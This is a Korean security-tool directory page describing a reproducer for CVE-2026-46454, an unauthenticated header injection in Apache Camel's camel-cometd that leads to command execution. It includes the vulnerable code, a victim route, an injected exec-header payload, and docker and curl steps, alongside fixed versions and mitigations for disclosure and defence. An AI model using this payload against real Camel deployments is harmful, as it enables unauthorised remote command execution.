Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-46454 — Reproducer for CVE-2026-46454 — Apache Camel camel-cometd inbound Bayeux header injection (unauthenticated Camel control-header injection → downstream producer steering / RCE) | Kitploit
도구/GitHubGitHub/oscerd/cve-2026-46454
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingLearning & EducationRed Teaming
GitHuboscerd/cve-2026-46454

CVE-2026-46454

Reproducer for CVE-2026-46454 — Apache Camel camel-cometd inbound Bayeux header injection (unauthenticated Camel control-header injection → downstream producer steering / RCE)

저장소 보기
1개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

camel-cometd 인바운드 Bayeux 헤더 인젝션 재현기 (CVE-2026-46454)

이 프로젝트는 Apache Camel의 camel-cometd 컴포넌트에서 메시지 헤더 인젝션을 시연하며, CVE-2026-46454로 추적됩니다. 이 컴포넌트는 인바운드 Bayeux(CometD) 메시지 헤더를 HeaderFilterStrategy 없이 Camel Exchange에 매핑합니다. CometdBinding.createCamelMessage는 CometD 클라이언트가 제공한 ext.CamelHeaders 맵 전체를 Camel 메시지(message.setHeaders(...))에 직접 복사하므로, CamelHttpUri, CamelFileName, CamelJmsDestinationName(또는 여기서처럼 camel-exec 제어 헤더)과 같은 Camel 내부 제어 헤더를 포함한 모든 헤더 이름이 수정 없이 허용됩니다. CometdComponent는 기본적으로 Bayeux SecurityPolicy를 설치하지 않으므로, Bayeux 핸드셰이크를 완료할 수 있는 모든 클라이언트가 인증 없이 이러한 메시지를 게시하고 경로의 다운스트림 프로듀서를 조종할 수 있습니다.

참고: https://camel.apache.org/security/CVE-2026-46454.html

취약점 요약

CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 및 CVE-2026-47323과 동일한 헤더 인젝션 계열 — Camel 네임스페이스를 필터링하지 않고 인바운드 헤더를 Exchange에 매핑하는 컴포넌트들입니다.

기술적 세부 사항

root@kitploit:~
// CometdBinding.createCamelMessage(...) - 영향을 받는 4.18.2
Message message = new DefaultMessage(camelContext);
message.setBody(data);
Map<String, Object> headers = getHeadersFromMessage(cometdMessage);   // 클라이언트가 제공한 ext.CamelHeaders를 읽음
if (headers != null) {
    message.setHeaders(headers);                                      // <-- HeaderFilterStrategy 없음
}

클라이언트가 ext.CamelHeaders를 제어하므로 Exchange에 모든 Camel 제어 헤더를 설정할 수 있습니다. 수정(4.14.8 / 4.18.3 / 4.21.0)은 인바운드 매핑 시 Camel* / camel* 네임스페이스를 대소문자 구분 없이 필터링하는 HeaderFilterStrategy(코드에 오랫동안 TODO로 남아 있었음)를 구현합니다.

피해 경로

root@kitploit:~
from("cometd://0.0.0.0:8088/service/inject")
    .to("exec:echo?args=hello");     // 경로 작성자는 단순히 echo hello 실행만 의도

공격자는 ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" }와 함께 /service/inject에 게시합니다. 바인딩이 이를 Exchange에 매핑하고 exec 프로듀서가 공격자의 명령을 대신 실행합니다.

저장소 구조

자체 포함: camel-cometd 소비자는 애플리케이션 내부에 임베디드 Bayeux 서버(포트 8088)를 실행하며, /exploit/attack 엔드포인트가 인증되지 않은 CometD 클라이언트 역할을 합니다.

root@kitploit:~
CVE-2026-46454/
├── pom.xml                 # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 클라이언트; Jetty 12.1.6 고정
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
    ├── java/com/example/
    │   ├── Application.java
    │   ├── VictimRoute.java        # from("cometd://.../service/inject").to("exec:echo")
    │   └── ExploitController.java  # 공격자 BayeuxClient: 핸드셰이크 + ext.CamelHeaders로 게시
    └── resources/
        └── application.properties

전제 조건

  • Java 17+ 및 Maven 3.8+
  • Docker (재현기 실행)

재현 단계

단계 1: 컨테이너 빌드 및 시작

root@kitploit:~
mvn clean package -DskipTests
docker compose up -d --build

단계 2: 헤더 인젝션 트리거 (RCE)

root@kitploit:~
curl -s http://localhost:8080/exploit/attack
# -> Handshaked (unauthenticated) and published to /service/inject with ext.CamelHeaders = {...}.
#    The camel-cometd consumer mapped them onto the Exchange; the exec producer ran the command.
#
#    >>> RCE proof — /tmp/pwned exists: true

단계 3: 확인

root@kitploit:~
docker exec cve-2026-46454 ls -la /tmp/pwned

정리

root@kitploit:~
docker compose down

공격 벡터

camel-cometd 소비자가 있으며 동작이 Camel 헤더에 의해 제어되는 다운스트림 프로듀서(HTTP 프로듀서 CamelHttpUri, 파일 프로듀서 CamelFileName, JMS 프로듀서 CamelJmsDestinationName, exec 프로듀서 CamelExecCommand* 등)로 연결된 모든 경로. Bayeux 엔드포인트에 대해 핸드셰이크할 수 있는 모든 클라이언트가 이를 인젝션할 수 있으며, 기본적으로 인증이 필요하지 않습니다. 인젝션된 헤더는 내부 direct, seda 및 vm 홉을 통해 유지됩니다.

악용 조건

  1. 영향을 받는 버전의 camel-cometd 소비자가 헤더 제어 가능한 프로듀서로 라우팅됨.
  2. CometdComponent에 Bayeux SecurityPolicy가 없음(기본값), 따라서 모든 클라이언트가 게시 가능.

권장 수정 사항

4.14.8 / 4.18.3 / 4.21.0(CAMEL-23507)으로 업그레이드하십시오. 이 버전에서는 인바운드 매핑 시 클라이언트가 제공한 Camel* / camel* 헤더를 차단하는 HeaderFilterStrategy가 cometd 바인딩에 추가되었습니다.

완화 조치

업그레이드 전까지:

  1. 경로 시작 부분에서 Camel 제어 헤더를 제거하십시오: .removeHeaders("Camel*") 및 .removeHeaders("camel*").
  2. CometdComponent에 명시적 Bayeux SecurityPolicy를 설치하여 인증된 클라이언트만 게시할 수 있도록 하십시오.

면책 조항

이 재현기는 공개적으로 공개되고 수정된 취약점에 대한 보안 연구 및 승인된 테스트 목적으로만 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.

도구 다운로드
속성값
컴포넌트camel-cometd
영향을 받는 클래스org.apache.camel.component.cometd.CometdBinding#createCamelMessage (message.setHeaders(...))
CWECWE-20: 부적절한 입력 검증
영향인증되지 않은 Camel 제어 헤더 인젝션 → 다운스트림 프로듀서 조종 (여기서는 exec를 통한 RCE)
영향을 받는 버전4.0.0 ~ 4.14.8 미만, 4.15.0 ~ 4.18.3 미만, 4.19.0 ~ 4.21.0 미만
수정된 버전4.14.8, 4.18.3, 4.21.0
JIRACAMEL-23507
제보자Yu Bao (PayPal)